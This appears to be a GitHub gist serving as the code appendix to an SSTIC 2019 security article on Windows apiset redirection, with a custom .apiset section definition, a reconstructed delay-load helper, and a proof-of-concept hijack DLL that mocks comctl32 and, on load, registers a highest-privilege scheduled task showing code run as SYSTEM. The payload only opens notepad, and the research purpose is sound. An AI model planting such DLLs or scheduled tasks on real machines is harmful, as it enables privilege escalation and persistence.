Created
March 27, 2019 23:51
-
-
Save lucasg/f3168c24615a9852963ae6c762a65926 to your computer and use it in GitHub Desktop.
SSTIC 2019 article appendix
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// ApisetExtension.h | |
#pragma once | |
typedef struct _API_SET_EXTENSION { | |
API_SET_NAMESPACE Namespace; | |
API_SET_NAMESPACE_ENTRY Entry; | |
API_SET_VALUE_ENTRY ValueEntry; | |
} API_SET_EXTENSION, *PAPI_SET_EXTENSION; | |
typedef struct _API_SET_NAMES { | |
wchar_t ApisetName[0x40]; | |
wchar_t HostName[0x40]; | |
} API_SET_NAMES, *PAPI_SET_NAMES;- | |
typedef struct _API_SET_SECTION | |
{ | |
API_SET_EXTENSION Extension; | |
API_SET_NAMES Names; | |
API_SET_HASH_ENTRY HashTable[]; | |
} API_SET_SECTION, *PAPI_SET_SECTION; | |
// pragma command to put the extension in the .apiset section | |
#pragma section(".apiset", read, write) | |
extern __declspec(allocate(".apiset")) const API_SET_SECTION ApisetSection; | |
// ApisetExtension.c | |
#include "ApisetExtension.h" | |
#define HOST_DLL (L"grosminet.dll") | |
#define APISET_DLL (L"titi") | |
const wchar_t HostName[] = HOST_DLL; | |
const wchar_t ApisetName[] = APISET_DLL; | |
const API_SET_SECTION ApisetSection = { | |
.Extension = { | |
.Namespace = { | |
.Version = 5, | |
.Flags = 0x0, | |
.Size = siezof(API_SET_SECTION), | |
.Count = 0x1, | |
.EntryOffset = FIELD_OFFSET(API_SET_EXTENSION, Entry), | |
.HashOffset = sizeof(API_SET_EXTENSION) + sizeof(API_SET_NAMES), | |
.HashFactor = 0 | |
}, | |
.Entry = { | |
.Flags = 1, | |
.NameOffset = sizeof(API_SET_EXTENSION) + FIELD_OFFSET(API_SET_NAMES, HostName), | |
.NameLength = sizeof(HOST_DLL), | |
.HashedLength = sizeof(APISET_DLL) - 2*sizeof(wchar_t), | |
.ValueOffset = FIELD_OFFSET(API_SET_EXTENSION, ValueEntry), | |
.ValueCount = 1 | |
}, | |
.ValueEntry = { | |
.Flags = 0x00, | |
.NameOffset = sizeof(API_SET_EXTENSION) + FIELD_OFFSET(API_SET_NAMES, ApisetName), | |
.NameLength = sizeof(APISET_DLL), | |
.ValueOffset = sizeof(API_SET_EXTENSION) + FIELD_OFFSET(API_SET_NAMES, ApisetName), | |
.ValueLength = sizeof(APISET_DLL) - 2 * sizeof(wchar_t), | |
} | |
}, | |
.Names = { | |
.ApisetName = APISET_DLL, | |
.HostName = HOST_DLL | |
}, | |
.HashTable = { | |
[0] = { | |
.Hash = 0x00, | |
.Index = 0x00 | |
} | |
} | |
}; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
// Needed to mock the original comctl32.dll | |
__declspec(dllexport) BOOL InitCommonControlsEx(void *picce) | |
{ | |
return FALSE; | |
} | |
const char* message = "Hello from NT AUTHORITY\\SYSTEM !"; | |
const char* ScheduledTaskScript = \ | |
"$action = New-ScheduledTaskAction -Execute \"C:\\Windows\\System32\\notepad.exe\" -Argument \"C:\\Windows\\TEMP\\message.txt\";\n" \ | |
"$trigger = New-ScheduledTaskTrigger -AtLogOn -User user;\n" \ | |
"$principal = New-ScheduledTaskPrincipal \"WINDEV1810EVAL\\user\" -RunLevel Highest;\n" \ | |
"$settings = New-ScheduledTaskSettingsSet;\n" \ | |
"$task = New-ScheduledTask -Action $action -Trigger $trigger -Principal $principal -Settings $settings;\n" \ | |
"Register-ScheduledTask \"Opera hijack\" -InputObject $task;\n" \ | |
"Start-ScheduledTask -TaskName \"Opera hijack\";\n"; | |
void DropFile(const char*buffer, const wchar_t *filepath) | |
{ | |
DWORD BytesWritten; | |
HANDLE hFile = CreateFile( | |
filepath, | |
GENERIC_WRITE | GENERIC_READ, | |
0, | |
NULL, | |
CREATE_ALWAYS, | |
FILE_ATTRIBUTE_NORMAL, | |
NULL | |
); | |
if (hFile == INVALID_HANDLE_VALUE) | |
return; | |
WriteFile( | |
hFile, | |
buffer, | |
strlen(buffer), | |
&BytesWritten, | |
NULL | |
); | |
CloseHandle(hFile); | |
} | |
void PopNotepad() | |
{ | |
PROCESS_INFORMATION pi = { 0 }; | |
STARTUPINFO si = { 0 }; | |
si.cb = sizeof(si); | |
WCHAR* lpCommandLine[0x100] = { 0 }; | |
DropFile(ScheduledTaskScript, L"C:\\Windows\\TEMP\\script.ps1"); | |
DropFile(message, L"C:\\Windows\\TEMP\\message.txt"); | |
const WCHAR* CommandLine = L"C:\\Windows\\System32\\cmd.exe /c \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -File C:\\Windows\\TEMP\\script.ps1\""; | |
memcpy(lpCommandLine, CommandLine, wcslen(CommandLine) * sizeof(wchar_t)); | |
CreateProcess( | |
NULL, | |
(LPWSTR)lpCommandLine, | |
NULL, | |
NULL, | |
FALSE, | |
DETACHED_PROCESS | CREATE_NO_WINDOW, | |
NULL, | |
NULL, | |
&si, | |
&pi | |
); | |
} | |
BOOL APIENTRY DllMain( HMODULE hModule, | |
DWORD ul_reason_for_call, | |
LPVOID lpReserved | |
) | |
{ | |
switch (ul_reason_for_call) | |
{ | |
case DLL_PROCESS_ATTACH: | |
// There is a timeout on DLL init, so no blocking calls here | |
CreateThread(NULL, 0, PopNotepad, NULL, 0, NULL); | |
case DLL_THREAD_ATTACH: | |
case DLL_THREAD_DETACH: | |
case DLL_PROCESS_DETACH: | |
break; | |
} | |
return TRUE; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
int __fastcall _delayLoadHelper( | |
IMAGE_DELAYLOAD_DESCRIPTOR *Descriptor, | |
void **IatApiAddress | |
) | |
{ | |
char * DllName = &_ImageBase + Descriptor->DllNameRVA; | |
HMODULE * DllHandle = &_ImageBase + Descriptor->ModuleHandleRVA; | |
VOID ** Iat =&_ImageBase + Descriptor->ImportAddressTableRVA; | |
char ** IatNames = &_ImageBase + Descriptor->ImportNameTableRVA; | |
BOOL __is_not_delay_load = (Descriptor->AllAttributes & 1) == 0; | |
_make_iat_writable(); | |
// Initial check to see if the delayload descriptor | |
// is compatible with this stub. | |
if ( __is_not_delay_load ) | |
{ | |
_restore_iat_prot(); | |
RaiseException(0xC06D0057, 0, 1u, &Arguments); | |
return 0; | |
} | |
// Load the dependency via LoadLibrary | |
HMODULE hLoadedDll = *DllHandle; | |
if ( !hLoadedDll ) | |
{ | |
hLoadedDll = LoadLibraryExA(DllName, 0, 0); | |
if ( !hLoadedDll ) | |
{ | |
_restore_iat_prot(); | |
RaiseException( | |
0xC06D007E, | |
0, | |
1u, | |
(const ULONG_PTR *)&GetLastError() | |
); | |
return 0; | |
} | |
} | |
DWORD lfanew = ((IMAGE_DOS_HEADER*)hLoadedDll)->e_lfanew; | |
IMAGE_NT_HEADER* NtHeaders = (IMAGE_NT_HEADER*)hLoadedDll + lfanew; | |
if ( NtHeaders->Magic != "PE" || | |
NtHeaders->Timestamp != Descriptor->TimeDateStamp || | |
NtHeaders->OptionalHeader.ImageBase != hLoadedDll | |
) { | |
_restore_iat_prot(); | |
return 0; | |
} | |
// Resolve the API | |
void *ResolvedProc = GetProcAddress(hLoadedDll, lpProcName); | |
if ( !ResolvedProc ) | |
{ | |
_restore_iat_prot(); | |
RaiseException( | |
0xC06D007F, | |
0, | |
1u, | |
(const ULONG_PTR *)&GetLastError() | |
); | |
return 0; | |
} | |
*IatApiAddress = ResolvedProc; | |
_restore_iat_prot(); | |
return ResolvedProc; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment